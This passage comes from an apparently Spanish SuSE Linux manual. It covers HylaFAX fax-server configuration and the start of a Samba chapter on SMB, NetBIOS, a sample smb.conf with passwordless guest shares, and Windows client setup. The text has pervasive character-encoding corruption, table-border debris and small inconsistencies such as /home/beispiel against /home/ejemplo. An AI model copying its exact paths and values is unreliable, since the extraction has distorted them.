  14470.                              o   Modem  speaker  volume  [off]? |______|-
  14471.  
  14472.                              o   Command  line  arguments  to  getty  program  ["-h  %l  dx_%s"]?
  14473.                                  "-r -b -s %s %l"
  14474.  
  14475.                              o   Pathname  of  TSI  access  control  list__file_
  14476.                                  (relative  to  /var/spool/fax)  [""]? |_____-|
  14477.  
  14478.                              o   Pathname  of  Caller-ID  access  control  list____
  14479.                                  file  (relative  to  /var/spool/fax)  [""]? |_____-|
  14480.  
  14481.                              o   Tag  line  font  file  (relative  to  ____
  14482.                                  /var/spool/fax)  [etc/lutRS18.pcf]? |_____-|
  14483.  
  14484.                              o   Tag  line  format  string              ____
  14485.                                  ["From  %%l|%c|Page  %%p  of  %%t"]? |_____-|
  14486.  
  14487.                              o   Time  before  purging _a__stale  UUCP  lock
  14488.                                  file  (secs)  [30]? |_____-|
  14489.  
  14490.                              o   Hold  UUCP  lockfile_ during  inbound  data
  14491.                                  calls  [Yes]? |_____-|
  14492.  
  14493.                              o   Hold  UUCP  lockfile  during  inbound  voice  calls  [Yes]? |______|-
  14494.  
  14495.                              o   Percent  good  lines  to  accept_ during  copy
  14496.                                  quality  checking  [95]? |_____-|
  14497.  
  14498.                              o   Max  consecutive  bad  lines  to__accept_ during
  14499.                                  copy  quality  checking  [5]? |_____-|
  14500.  
  14501.                              o   Max  number  of  pages_ to  accept  in  a  received
  14502.                                  facsimile  [30]? |_____-|
  14503.  
  14504.                              o   Syslog  facility  name__for_ ServerTracing
  14505.                                  messages  [daemon]? |_____-|
  14506.  
  14507.  
  14508. 224
  14509.        _____________________________________________________________6.10.__Linux_+_Fax:_íUna_buena_combinaci≤n!____________________*
  14510.  *______________________
  14511.        ||||||||                                                                                                                |
  14512.        _______________________________________________________________________________________________________________________||||
  14513.        |||||||| The  non-default  server  configuration  parameters  are:                                                      |
  14514.        |||||||||                                                                                                               ||
  14515.        |||||||| CountryCode:                     49                                                                            |
  14516.        |||||||| AreaCode:                          911                                                                         |
  14517.        |||||||| FAXNumber:                        +49.911.123456                                                               |
  14518.        ||||||||                                                                                                                |
  14519.        |||||||| LongDistancePrefix:         0                                                                                  |
  14520.        |||||||| InternationalPrefix:       00                                                                                  |
  14521.        ||||||||                                                                                                                |
  14522.        |||||||| DialStringRules:              "etc/dialrules"                                                                  |
  14523.        |||||||| ServerTracing:                 527                                                                             |
  14524.        |||||||| SessionTracing:                527                                                                             |
  14525.        ||||||||                                                                                                                |
  14526.        |||||||| RecvFileMode:                   0644                                                                           |
  14527.        |||||||| DeviceMode:                       0666                                                                         |
  14528.        ||||||||                                                                                                                |
  14529.        |||||||| RingsBeforeAnswer:           1                                                                                 |
  14530.        |||||||| SpeakerVolume:                 off                                                                             |
  14531.        ||||||||                                                                                                                |
  14532.        |||||||| GettyArgs:                        "-r  -b  -s  %s  %l"                                                         |
  14533.        |||||||| LocalIdentifier:              "SuSE  GmbH"                                                                     |
  14534.        ||||||||                                                                                                                |
  14535.        |||||||| TagLineFont:                     etc/lutRS18.pcf                                                               |
  14536.        |||||||| TagLineFormat:                 "From  %%l|%c|Page  %%p  of  %%t"                                               |
  14537.        ||||||||                                                                                                                |
  14538.        |||||||| MaxRecvPages:                   25                                                                             |
  14539.        ||||||||_______________________________________________________________________________________________________________ |
  14540.  
  14541.                                     Mensaje en pantalla 6.10.2:
  14542.  
  14543.  
  14544.  
  14545.   o   Set  UID  to  0  to  manipulate  CLOCAL  [""]? |______|-
  14546.  
  14547. DespuΘs  de  haber  introducido  los  datos  aparece  el  resumen  del  salida  en
  14548. pantalla 6.10.2.
  14549.  
  14550. Ahora la configuraci≤n del planificador y del servidor estßn terminadas.
  14551.  
  14552. Al  final  viene  la  pregunta,  si  se  debe  iniciar  faxmodem        para  cada  modem
  14553. configurado.  Es la alternativa a faxgetty         que solo permite enviar (pero no
  14554. recibir) faxes.
  14555.  
  14556.  
  14557. Adaptive Answer Support
  14558.  
  14559. Una  caracterφstica  muy  prßctica  es  la  del  ''Adaptive  Answer  Support'',  que
  14560. le permite al servidor de fax (faxgetty ) iniciar cualquier otro programa getty
  14561. cuando  se  detecta  que  la  llamada  que  entra  no  es  un  fax  sino  una  llamada
  14562. de  petici≤n  de  datos.   Para  activar  este  servicio  se  ha  a±adido  durante  la
  14563. sesi≤n de configuraci≤n ejemplo (ver en la pßgina 222Configuraci≤ntable.6.3)
  14564. la entrada que se ve en el fichero 6.10.2.
  14565.  
  14566.        _______________________________________________________________________________________________________________________
  14567.        |||||||| GettyArgs:                        "-r  -b  -s  %s  %l"                                                         |
  14568.        ||||||||                                                                                                                |
  14569.        ||||||||_______________________________________________________________________________________________________________ |
  14570.  
  14571.                 Fichero 6.10.2: Entrada para Adaptive Answer Support
  14572.  
  14573.  
  14574. Aquφ %s   es el sustituto para la tasa DTE/DTC entre computadora y modem
  14575. cuyo  valor  predeterminado  es  38400  bps  (ingl.  bits  per  second).   Algunos
  14576. modems de la empresa USRobotics  tienen problemas con esta tasa cuando
  14577. estßn en modo fax (ver la documentaci≤n [Lef96    ]). Para evitarlos, la variable
  14578. <ModemRate> en el fichero de configuraci≤n especφfico del modem,  debe
  14579. tomar  el  valor  19200.   Al  igual  que  getty ,  se  utiliza  tambiΘn  mgetty  del
  14580.  
  14581.  
  14582.                                                                                                                                    *
  14583.  *   225
  14584. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  14585.  *_______________________________________@
  14586.  
  14587.  
  14588.  
  14589.                            paquete mgetty, serie n (Netzwerk-Support);  esto precisa de la ampliaci≤n
  14590.                            del fichero de configuraci≤n de mgetty  (/etc/mgetty+sendfax/mgetty.
  14591.                            config) con la entrada que se ve en el fichero 6.10.3.
  14592.  
  14593.                            ________________________________________________________________________________________________________*
  14594.  *________||
  14595.  
  14596.                            | port  modem                                                                                           *
  14597.  *         |
  14598.                            | direct  y                                                                                             *
  14599.  *         |
  14600.                            | toggle-dtr  n                                                                                         *
  14601.  *         |
  14602.                            |_______________________________________________________________________________________________________*
  14603.  *________ |
  14604.  
  14605.                                    Fichero 6.10.3: Entrada en el fichero de configuraci≤n de mgetty
  14606.  
  14607.  
  14608.                            El denominador modem     9  representa el nombre de dispositivo a travΘs del cual
  14609.                            se  accede  al  modem.   Lo  importante  es  que  tanto  faxgetty  como  mgetty
  14610.                            accedan al mismo dispositivo.
  14611.  
  14612.  
  14613.                            Fax Dispatching
  14614.  
  14615.                            Otra caracterφstica interesante es el traspaso automßtico de un fax entrante a
  14616.                            una determinada direcci≤n de E-Mail.  Para ello hace falta generar el fichero
  14617.                            etc/FaxDispatch en el directorio Server-Root.  El fichero 6.10.4 muestra
  14618.                            un ejemplo de un fichero semejante.
  14619.  
  14620.                            ________________________________________________________________________________________________________*
  14621.  *________
  14622.                            | case  "$SENDER"  in                                                                                   *
  14623.  *         |
  14624.                            |                                                                                                       *
  14625.  *         |
  14626.                            | *0815*)  SENDTO=tux;;                                                                                 *
  14627.  *         |
  14628.                            | *)           SENDTO=FaxMaster;;                                                                       *
  14629.  *         |
  14630.                            | esac                                                                                                  *
  14631.  *         |
  14632.                            |_______________________________________________________________________________________________________*
  14633.  *________ |
  14634.  
  14635.                                                 Fichero 6.10.4: Ejemplo de etc/FaxDispatch
  14636.  
  14637.  
  14638.                            Los faxes que entran se identifican con su TSI. En este caso, todos los faxes
  14639.                            que contienen la combinaci≤n de cifras 0815     en su TSI, se envφan por E-Mail
  14640.                            al usuario `tux' en forma de un attachment en formato PostScript10 . A parte
  14641.                            de esto, los demßs faxes que entran se traspasan al `FaxMaster'.
  14642.                            ________________________________________________________________________________________________________*
  14643.  *________||
  14644.                            |  Si tiene problemas con la instalaci≤n o la configuraci≤n de HylaFAX , no                             *
  14645.  *        ||||
  14646.                            |                                                                                                       *
  14647.  *        |||
  14648.                            |  dude  en  consultar  nuestro  banco  de  datos  de  soporte  (sistema  de  ayuda,                    *
  14649.  *        |||
  14650.                            |  paquete  susehilf,  serie  doc  (documentaci≤n)).   Bajo  la  palabra  clave                         *
  14651.  *        |||
  14652.                            |                                                                                                       *
  14653.  *        |||
  14654.                            |  Σf x" encontrarß muchos consejos.                                                                    *
  14655.  *        |||
  14656.                            |_______________________________________________________________________________________________________*
  14657.  *________|||_
  14658.  
  14659.  
  14660.                            _____________________________________________9
  14661.                              /dev/modem es el enlace hacia /dev/ttySx.
  14662.                           10 Por supuesto puede cambiar el formato, modificando bin/faxrcvd en el Server-Root.
  14663.  
  14664.  
  14665. 226
  14666.  
  14667.                                                                                                            Capφtulo  7
  14668.                                                                  Bailemos   samba.  .  .
  14669.  
  14670.  
  14671. Con la ayuda del programa Samba , del australiano Andrew Tridgell, es
  14672. posible  hacer  de  cualquier  computadora  Unix  un  servidor  de  ficheros  y  de
  14673. impresi≤n potente, con clientes que corren bajo DOS o Windows.  Desde el
  14674. comienzo de su desarrollo en 1991, Samba se ha convertido en un producto
  14675. muy  estable  ocupando  un  sitio  fijo  en  el  mundo  empresarial,  donde  se  usa
  14676. como complemento o incluso como reemplazo de los servidores Novell Net-
  14677. Ware o Windows NT .
  14678. 7.1       Introducci≤n
  14679.  
  14680.  
  14681. Samba  es  ya  un  producto  muy  complejo  y,  por  eso,  no  le  podemos  ofre-
  14682. cer  aquφ  una  descripci≤n  detallada  de  todas  las  posibilidades,  sino  que  nos
  14683. quedamos  con  un  resumen  de  las  funciones  mßs  destacadas.   El  directo-
  14684. rio pfad/usr/doc/packages/samba contiene muchos documentos que le sirven
  14685. para conseguir incluso configuraciones complejas.  La pßgina del manual de
  14686. smb.conf         (man  smb.conf          )  contiene  la  referencia  del  fichero  de  configu-
  14687. raci≤n de Samba 1 .
  14688.  
  14689. Samba  usa  el  protocolo  SMB  (Server  Message  Block)  de  la  empresa  Mi-
  14690. crosoft. Sin embargo, en todos los clientes (p. ej.  Windows 95 / 98 o Windows
  14691. NT), el protocolo TCP/IP debe estar instalado ya que Samba usa el protocolo
  14692. SMB sobre TCP/IP. Computadoras con Windows que tienen acceso a Internet
  14693. ya tienen TCP/IP instalado.
  14694.  
  14695. El protocolo SMB (ingl. Server Message Block) ofrece servicios de impresi≤n
  14696. y de acceso a ficheros para el mundo de Windows y LAN Manager y se basa
  14697. en los servicios NetBIOS, por eso, se puede comparar el servicio de ficheros
  14698. con  el  de  NFS.  A  este  respecto,  SMB  no  se  diferencia  de  otros  protocolos
  14699. como p. ej.  el NetWare Core Protocol.  Microsoft ~ a diferencia de Novell ~
  14700. ha publicado la especificaci≤n del protocolo SMB, asφ que es posible el uso
  14701. de este protocolo por parte de terceros.
  14702.  
  14703. El  soporte  de  instalaci≤n  no  cubre  la  configuraci≤n  de  Samba  (ver  aparta-
  14704. do H.1.2 en la pßgina 541Cobertura del soporte de instalaci≤nsubsection.H.1.2).
  14705.  
  14706.  
  14707.  
  14708. 1      ____________________________________________________
  14709.   VΘase [BD99   ], el libro sobre Samba de Olaf Borkner-Delcarlo editado por SuSE PRESS .
  14710.  
  14711.  
  14712.                                                                                                                                    *
  14713.  *   227
  14714. 7.  Bailemos samba._._.____________________________________________________________________________________________________________*
  14715.  *_______________________________________@
  14716.  
  14717.  
  14718.  
  14719.                            NetBIOS
  14720.                            NetBIOS es una interfaz para programas de aplicaci≤n (ingl. Application Pro-
  14721.  
  14722.                            gram  Interface,  API),  que  se  dise±≤  para  la  comunicaci≤n  entre  computa-
  14723.                            doras.  Entre otros,  ofrece un servicio de nombres (ingl. name service) que
  14724.                            le permite a las computadoras reservarse un nombre en la red.  DespuΘs de
  14725.                            haberlo reservado, se puede acceder a las computadoras con nombre. No ex-
  14726.                            iste ning·n control centralizado para otorgar o controlar los nombres.  Cada
  14727.                            computadora puede reservar en la red tantos nombres como quiera, mientras
  14728.                            no se haya adelantado otro.
  14729.  
  14730.                            Se puede implementar la interfaz NetBIOS sobre diferentes arquitecturas de
  14731.                            red. Hay una implementaci≤n que se encuentra relativamente ''cerca'' al hard-
  14732.                            ware de red llamada NetBEUI . NetBEUI es lo que se denomina frecuente-
  14733.                            mente como NetBIOS .
  14734.  
  14735.                            NetBEUI trabaja con la direcci≤n de hardware que tiene cada tarjeta red para
  14736.                            direccionar  los  paquetes  de  informaci≤n  a  travΘs  de  la  red.   Esta  direcci≤n
  14737.                            no tiene ~ como las direcciones IPX  o IP ~ una estructura que proporcione
  14738.                            informaci≤n para ''enrutar'' (ingl. routing); por eso no se puede pasar paquetes
  14739.                            de NetBEUI a travΘs de enrutadores (ingl. router), lo que reduce una red con
  14740.                            NetBEUI  a  la  zona  que  se  puede  alcanzar  con  repetidores  o  puentes  (ingl.
  14741.                            bridges).
  14742.  
  14743.                            Otros protocolos de red que se han implementado con NetBIOS son IPX de
  14744.                            Novell  y TCP/IP. El protocolo con el cual se mont≤ NetBIOS sobre TCP/IP,
  14745.                            se explica en RFC 1001 y 1002; RFC 1001 contiene ademßs una introducci≤n
  14746.                            bastante buena sobre los conceptos de NetBIOS; conocerla sirve mucho para
  14747.                            entender servicios como WINS 2 .
  14748.  
  14749.                            Los nombres de NetBIOS no tienen nada en com·n con aquellos asignados
  14750.                            en el fichero /etc/hosts o por DNS ~ NetBIOS es un ßrea de nombres com-
  14751.                            pletamente propio. Esto es vßlido tambiΘn para los nombres que se asignan en
  14752.                            la implementaci≤n de NetBIOS mediante TCP/IP. Sin embargo, para simpli-
  14753.                            ficar la administraci≤n se recomienda usar, como mφnimo para los servidores,
  14754.                            nombres de NetBIOS equivalentes a los del DNS. Samba lo hace por defecto.
  14755.  
  14756.  
  14757.                            Los clientes
  14758.  
  14759.                            Aparte  de  DOS  y  Windows  3.1,  todos  los  sistemas  operativos  usuales  de
  14760.                            los  PC's  soportan  el  protocolo  SMB  para  la  exportaci≤n  e  importaci≤n  de
  14761.                            zonas  de  disco.   Windows  for  Workgroups  3.11  (Windows  para  trabajo  en
  14762.                            grupos) tambiΘn soporta SMB pero, con la instalaci≤n estßndar solo a travΘs
  14763.                            de  IPX  y  NetBEUI.  Para  poder  utilizar  Samba,  que  ofrece  SMB  solo  a
  14764.                            travΘs  de  TCP/IP,  se  precisa  la  instalaci≤n  de  un  paquete  de  software  gra-
  14765.                            tuito  de  Microsoft.   Al  igual  existe  tambiΘn  software  gratuito  para  DOS  y
  14766.                            Windows 3.1, para posibilitar el acceso a Samba. El software se encuentra en
  14767.                            ftp://ftp.microsoft.com/bussys/Clients.
  14768.  
  14769.                            Los  servidores  SMB  ofrecen  a  sus  clientes  espacio  en  disco  en  forma  de
  14770.                            ''Shares''.    Un  Share  es  un  directorio  en  el  servidor  con  todos  los  sub-
  14771.                            _____________________________________________2
  14772.                               WINS no es mßs que un servidor de nombres de NetBIOS ampliado.  No es una idea de
  14773.                            Microsoft , solo el nombre es nuevo.
  14774.  
  14775.  
  14776. 228
  14777.        ________________________________________________________________________________________7.2.__Instalaci≤n_del_servidor______*
  14778.  *______________________
  14779.  
  14780.  
  14781.  
  14782. directorios. Este se exporta con un determinado nombre y los clientes pueden
  14783. acceder a Θl bajo este nombre.  El nombre del Share es completamente libre,
  14784. no  hace  falta  que  coincida  con  el  nombre  del  directorio  exportado.   De  la
  14785. misma manera se asigna un nombre a una impresora exportada, para que los
  14786. clientes puedan acceder a ella.
  14787.  
  14788.  
  14789. Permisos de acceso
  14790.  
  14791. Un servidor NFS se configura a travΘs del fichero /etc/exports y las lim-
  14792. itaciones de acceso son siempre especφficas para una computadora.  Esto es
  14793. razonable  para  el  entorno  Unix  para  el  cual  fue  dise±ado,  ya  que  las  esta-
  14794. ciones de trabajo de Unix son clientes capaces de autentificar los usuarios.
  14795. Con la llegada de DOS y Windows, NFS ha dejado de ser algo seguro, ya que
  14796. en ellos todos los usuarios tienen derechos de superusuario.  En este sentido,
  14797. los clientes NFS para DOS representan un problema de seguridad enorme.
  14798.  
  14799. Por el contrario,  el protocolo SMB viene del mundo DOS y contempla los
  14800. problemas de seguridad directamente. Todos los accesos a un Share se prote-
  14801. gen con una contrase±a. Para realizarlo, SMB ofrece dos posibilidades:
  14802.  
  14803.   o   ''Share Level Security''
  14804.  
  14805.       En  este  caso  cada  Share  tiene  una  contrase±a  fija.   Cada  persona  que
  14806.       conoce la contrase±a tiene acceso al Share.
  14807.   o   ''User Level Security''
  14808.  
  14809.       Esta variante introduce el concepto de usuario SMB. Cada usuario tiene
  14810.       que darse de alta en el servidor con una contrase±a propia.  DespuΘs de
  14811.       esto, el servidor puede otorgar derechos de acceso a los distintos Shares
  14812.       en funci≤n del nombre de usuario.
  14813.   o   ''Server Level Security''
  14814.  
  14815.       Samba  aparenta  frente  a  los  clientes  trabajar  en  el  ''User  Level  Mode'',
  14816.       pero en realidad pasa todas las peticiones de entrada a otra computadora
  14817.       en ''User Level Mode'', que se encarga de la autentificaci≤n.  Esta config-
  14818.       uraci≤n precisa de un parßmetro adicional (password server =).
  14819.  
  14820. La decisi≤n sobre el tipo de autentificaci≤n es algo que afecta a todo el servi-
  14821. dor. No es posible exportar algunos shares en modalidad ''Share Level Secu-
  14822. rity'' y otros en ''User Level Security''.
  14823.  
  14824. El  fichero  /usr/doc/packages/samba/security_level.txt  contiene
  14825. mßs informaci≤n al respecto.
  14826.  
  14827.  
  14828. 7.2       Instalaci≤n del servidor
  14829.  
  14830. Los  servicios  de  SMB  se  inician  dando  a  la  variable  <START`SMB>  del
  14831. fichero  /etc/rc.config  el  valor  yes     (ver  apartado  3.7.12  en  la  pßgi-
  14832. na 116Cambiar fichero de configuraci≤nsubsection.3.7.12).
  14833.  
  14834. El fichero /etc/smb.conf contiene prßcticamente todos las opciones config-
  14835. urables de Samba y su aspecto es similar al de un fichero-.INI de Windows.
  14836. Estß dividido en varios apartados con distintos parßmetros en cada uno. Cada
  14837. apartado describe siempre un Share que lleva su mismo nombre.  Entre ellos
  14838. hay cuatro apartados especiales que son [global]        , [ejemplo]        , [cdrom]        y
  14839.  
  14840.  
  14841.                                                                                                                                    *
  14842.  *   229
  14843. 7.  Bailemos samba._._.____________________________________________________________________________________________________________*
  14844.  *_______________________________________@
  14845.  
  14846.  
  14847.  
  14848.                            [printers]         .  El apartado [global]         contiene todos los parßmetros que se
  14849.                            refieren a la configuraci≤n global.  Al generar el apartado [ejemplo]          cada
  14850.                            cliente puede acceder sin contrase±a al Share [ejemplo]          con los derechos
  14851.                            del  usuario  ''nobody''.   Lo  mismo  es  vßlido  para  el  apartado  [printers]         ,
  14852.                            con  el  cual  se  ponen  todas  las  impresoras  definidas  en  /etc/printcap  a
  14853.                            disposici≤n de los clientes, sin necesidad de mencionarlas explφcitamente.
  14854.  
  14855.  
  14856.                            smb.conf|                                                                                               *
  14857.  *         |
  14858.                            |                                                                                                       *
  14859.  *         |
  14860.                            Un|ejemplo|muy simple se muestra en el fichero 7.2.1.                                                   *
  14861.  *         ||
  14862.  
  14863.                            ________________________________________________________________________________________________________*
  14864.  *________||
  14865.                            | [global]                                                                                              *
  14866.  *         |
  14867.                            |                                                                                                       *
  14868.  *         |
  14869.                            |      workgroup  =  grupo_de_trabajo                                                                   *
  14870.  *         |
  14871.                            |      guest  account  =  nobody                                                                        *
  14872.  *         |
  14873.                            |                                                                                                       *
  14874.  *         |
  14875.                            |      keep  alive  =  30                                                                               *
  14876.  *         |
  14877.                            |      os  level  =  2                                                                                  *
  14878.  *         |
  14879.                            |                                                                                                       *
  14880.  *         |
  14881.                            |      security  =  share                                                                               *
  14882.  *         |
  14883.                            |      printing  =  bsd                                                                                 *
  14884.  *         |
  14885.                            |      printcap  name  =  /etc/printcap                                                                 *
  14886.  *         |
  14887.                            |                                                                                                       *
  14888.  *         |
  14889.                            |      load  printers  =  yes                                                                           *
  14890.  *         |
  14891.                            |                                                                                                       *
  14892.  *         |
  14893.                            |                                                                                                       *
  14894.  *         |
  14895.                            | [ejemplo]                                                                                             *
  14896.  *         |
  14897.                            |      path  =  /home/ejemplo                                                                           *
  14898.  *         |
  14899.                            |                                                                                                       *
  14900.  *         |
  14901.                            |      comment  =  directorio_ejemplar                                                                  *
  14902.  *         |
  14903.                            |      read  only  =  no                                                                                *
  14904.  *         |
  14905.                            |                                                                                                       *
  14906.  *         |
  14907.                            |      browseable  =  yes                                                                               *
  14908.  *         |
  14909.                            |      public  =  yes                                                                                   *
  14910.  *         |
  14911.                            |                                                                                                       *
  14912.  *         |
  14913.                            |      create  mode  =  0750                                                                            *
  14914.  *         |
  14915.                            |                                                                                                       *
  14916.  *         |
  14917.                            | [cdrom]                                                                                               *
  14918.  *         |
  14919.                            |                                                                                                       *
  14920.  *         |
  14921.                            |      path  =  /cdrom                                                                                  *
  14922.  *         |
  14923.                            |      comment  =  cdrom                                                                                *
  14924.  *         |
  14925.                            |                                                                                                       *
  14926.  *         |
  14927.                            |      volume  =  "Soy_el_CD_ROM"                                                                       *
  14928.  *         |
  14929.                            |      read  only  =  yes                                                                               *
  14930.  *         |
  14931.                            |                                                                                                       *
  14932.  *         |
  14933.                            |      available  =  yes                                                                                *
  14934.  *         |
  14935.                            |      share  modes  =  no                                                                              *
  14936.  *         |
  14937.                            |                                                                                                       *
  14938.  *         |
  14939.                            |      browseable  =  yes                                                                               *
  14940.  *         |
  14941.                            |      public  =  yes                                                                                   *
  14942.  *         |
  14943.                            |                                                                                                       *
  14944.  *         |
  14945.                            |                                                                                                       *
  14946.  *         |
  14947.                            | [printers]                                                                                            *
  14948.  *         |
  14949.                            |      comment  =  All  Printers                                                                        *
  14950.  *         |
  14951.                            |                                                                                                       *
  14952.  *         |
  14953.                            |      browseable  =  no                                                                                *
  14954.  *         |
  14955.                            |      printable  =  yes                                                                                *
  14956.  *         |
  14957.                            |                                                                                                       *
  14958.  *         |
  14959.                            |      public  =  no                                                                                    *
  14960.  *         |
  14961.                            |      read  only  =  yes                                                                               *
  14962.  *         |
  14963.                            |                                                                                                       *
  14964.  *         |
  14965.                            |      create  mode  =  0700                                                                            *
  14966.  *         |
  14967.                            |      directory  =  /tmp                                                                               *
  14968.  *         |
  14969.                            |_______________________________________________________________________________________________________*
  14970.  *________ |
  14971.                                            Fichero 7.2.1: Ejemplo de un fichero /etc/smb.conf
  14972.  
  14973.  
  14974.                            El  fichero  /etc/smb.conf  del  ejemplo  proporciona  a  todos  los  usuarios
  14975.                            el  directorio  /home/beispiel  y  todas  las  impresoras  anotadas  en  /etc/
  14976.                            printcap se proporcionan a todos los clientes.
  14977.  
  14978.  
  14979. 230
  14980.        ________________________________________________________________________________________7.2.__Instalaci≤n_del_servidor______*
  14981.  *______________________
  14982.  
  14983.  
  14984.  
  14985.   o   workgroup  =  grupo_de_trabajo
  14986.       El  servidor  Samba  estß  asignado  a  un  grupo  de  trabajo  como  todas  las
  14987.       computadoras con Windows y dentro de este grupo aparece en el ''Entorno
  14988.       de red''.  workgroup         es el nombre por defecto del grupo de trabajo en la
  14989.       versi≤n inglesa de Windows.
  14990.  
  14991.   o   guest  account  =  nobody
  14992.  
  14993.       Para  determinadas  tareas,  Samba  necesita  un  usuario  dado  de  alta  en
  14994.       /etc/password,  que  puede  no  tener  ning·n  derecho  en  el  sistema  de
  14995.       ficheros o bien, tener derechos mφnimos.  Cuando se definen Shares con
  14996.       acceso p·blico (parßmetro=public  =  yes         ), todas las operaciones se ll-
  14997.       evan a cabo con esta identificaci≤n de usuario. TambiΘn cuando no existe
  14998.       ning·n Share p·blico, el guest  account            debe estar definido para que el
  14999.       servidor Samba aparezca en el entorno de red.
  15000.  
  15001.   o   keep  alive  =  30
  15002.  
  15003.       Las  computadoras  con  Windows  tienen  la  tendencia  a  colgarse  de  vez
  15004.       en  cuando.    Cuando  se  dejan  conexiones  abiertas  es  posible  que  el
  15005.       servidor  lo  note  despuΘs  de  mucho  rato,  por  lo  tanto,  el  parßmetro
  15006.       keep  alive  =  30            hace  que  Samba  compruebe  cada  30  segundos  si
  15007.       el  cliente  todavφa  ''vive'',  lo  que  evita  el  despilfarro  de  recursos  en  el
  15008.       servidor por tener demasiados procesos abiertos.
  15009.  
  15010.   o   os  level  =  2
  15011.  
  15012.       El parßmetro os  level  =  2         hace que Samba ofrezca servicios de nave-
  15013.       gaci≤n para WfW y Windows 95.  Si se encuentra una computadora con
  15014.       Windows╤T en la red, Samba no ofrece este servicio si no se usa la com-
  15015.       putadora con NT para ello.
  15016.  
  15017.   o   security  =  share
  15018.       A este respecto ver el apartado sobre los derechos de acceso.
  15019.  
  15020.  
  15021. El apartado [ejemplo]         define parßmetros para el directorio a exportar. Todos
  15022. los usuarios en la red pueden acceder a este directorio sin contrase±a ya que
  15023. public  =  yes           estß validado;  tambiΘn es asφ para el /cdrom exportado (de
  15024. este modo puede configurar con Samba p. ej.  un ''Jukebox'' de bajo coste).
  15025.  
  15026.  
  15027.   o   path  =  /home/ejemplo
  15028.  
  15029.       Con este path     se exporta el directorio /home/ejemplo.
  15030.  
  15031.   o   comment  =  directorio_ejemplar
  15032.  
  15033.       Cada  Share  de  un  servidor  Samba  puede  tener  un  comentario  con  una
  15034.       explicaci≤n del mismo.
  15035.  
  15036.   o   browsable  =  yes
  15037.  
  15038.       Este comentario hace que el Share ejemplo        sea visible en el entorno de
  15039.       red.
  15040.  
  15041.   o   read  only  =  no
  15042.  
  15043.       Samba  deniega  por  defecto  el  acceso  de  escritura  a  un  Share  exporta-
  15044.       do,  pero  en  este  caso  es  necesario  escribir  sobre  el  Share,  por  lo  tanto
  15045.       read  only  =  no          .
  15046.  
  15047.   o   create  mode  =  750
  15048.  
  15049.  
  15050.                                                                                                                                    *
  15051.  *   231
  15052. 7.  Bailemos samba._._.____________________________________________________________________________________________________________*
  15053.  *_______________________________________@
  15054.  
  15055.  
  15056.  
  15057.                                  Las computadoras con Windows desconocen el concepto de derechos de
  15058.                                  acceso, propio de Unix, lo que les impide definir los derechos de acceso
  15059.                                  que deben tener los ficheros creados.
  15060.                                  El parßmetro create  mode          determina con cußles derechos se deben crear
  15061.                                  los ficheros.
  15062.  
  15063.                              o   public  =  yes
  15064.  
  15065.                                  Se  permite  el  acceso  como  invitado  (ingl.  guest)  a  este  Share,  lo  que
  15066.                                  suprime  la  pregunta  por  una  contrase±a!   El  usuario  que  entra  de  este
  15067.                                  modo aparece como ''User nobody''.
  15068.                            ________________________________________________________________________________________________________*
  15069.  *________||
  15070.                            |  Existe un programa denominado swat  que permite administrar facilmente                               *
  15071.  *        ||||
  15072.                            |  el  servidor  samba,  ya  que  ofrece  una  interfaz  de  web  sencilla  para  con-                  *
  15073.  *        |||
  15074.                            |                                                                                                       *
  15075.  *        |||
  15076.                            |  figurarlo  c≤modamente.   Hay  mßs  informaci≤n  acerca  de  este  programa                          *
  15077.  *        |||
  15078.                            |                                                                                                       *
  15079.  *        |||
  15080.                            |  en /usr/doc/packages/samba/htmldocs/swat.8.html o en la pßgi-                                        *
  15081.  *        |||
  15082.                            |  na del manual de swat     (man  swat       ).                                                        *
  15083.  *        |||
  15084.                            |_______________________________________________________________________________________________________*
  15085.  *________|||_
  15086.  
  15087.  
  15088.                            7.3       Instalaci≤n de los clientes
  15089.  
  15090.                            Primero hay que mencionar que los clientes solo pueden acceder al servidor
  15091.                            Samba vφa TCP/IP. Actualmente no es posible usar con Samba NetBEUI o
  15092.                            NetBIOS sobre IPX, pero como TCP/IP estß ganando cada vez mßs terreno ~
  15093.                            incluso en las aplicaciones de Novell y de Microsoft ~ es bastante cuestion-
  15094.                            able si esto cambiarß alg·n dφa.
  15095.  
  15096.  
  15097.                            Windows 95/98
  15098.  
  15099.                            Windows  95/98  trae  el  soporte  de  TCP/IP  incorporado,  pero  al  igual  que
  15100.                            Windows  3.11  no  se  instala  con  la  configuraci≤n  por  defecto.   Para  la  in-
  15101.                            stalaci≤n de TCP/IP en un Windows ya instalado, se selecciona el icono de
  15102.                            red en el panel de control y despuΘs `Agregar...', `Protocolo' TCP/IP
  15103.                            de  Microsoft.    íDebe  indicarse  correctamente  la  direcci≤n  y  mßscara  de
  15104.                            red  (ver  apartado  5  en  la  pßgina  153Conexiones  en  una  red  de  ßrea  local
  15105.                            (LAN)chapter.5)!   DespuΘs  del  reinicio  de  la  computadora  con  Windows
  15106.                            puede encontrar el servidor Samba en la red (doble-click con el mouse so-
  15107.                            bre el icono de red en el escritorio).
  15108.                            ________________________________________________________________________________________________________*
  15109.  *________||
  15110.  
  15111.                            |  Para usar una impresora conectada al servidor Samba, se recomienda in-                               *
  15112.  *        ||||
  15113.                            |  stalar en el cliente el driver general para impresoras PostScript o el usado                         *
  15114.  *        |||
  15115.                            |                                                                                                       *
  15116.  *        |||
  15117.                            |  para impresoras Postscript de Apple (se usan los drivers que vienen junto                            *
  15118.  *        |||
  15119.                            |  con la versi≤n de Windows). DespuΘs se conecta con la cola de impresi≤n                              *
  15120.  *        |||
  15121.                            |                                                                                                       *
  15122.  *        |||
  15123.                            |  de Linux, que contiene el reconocimiento automßtico con apsfilter.                                   *
  15124.  *        |||
  15125.                            |_______________________________________________________________________________________________________*
  15126.  *________|||_
  15127.  
  15128.  
  15129.                            7.4       Optimizaci≤n
  15130.  
  15131.                            Recordamos  que  la  utilidad  de  la  configuraci≤n  expuesta  anteriormente  se
  15132.                            reduce al uso privado y no es de uso comercial.
  15133.  
  15134.                            La  configuraci≤n  por  defecto  en  /etc/smb.conf  es  muy  lenta,  asφ  que  a
  15135.                            continuaci≤n presentamos un par de propuestas ·tiles para optimizar.
  15136.  
  15137.  
  15138. 232
  15139.      _______________________________________________________________________________________________________7.4.__Optimizaci≤n_____*
  15140.  *____________________
  15141.  
  15142.  
  15143.  
  15144. o   socket  options  =  TCP_NODELAY
  15145.     El protocolo TCP/IP siempre intenta juntar varios bloques peque±os de
  15146.     datos.   Como  Samba  trabaja  siempre  con  muchos  de  estos  bloques,  la
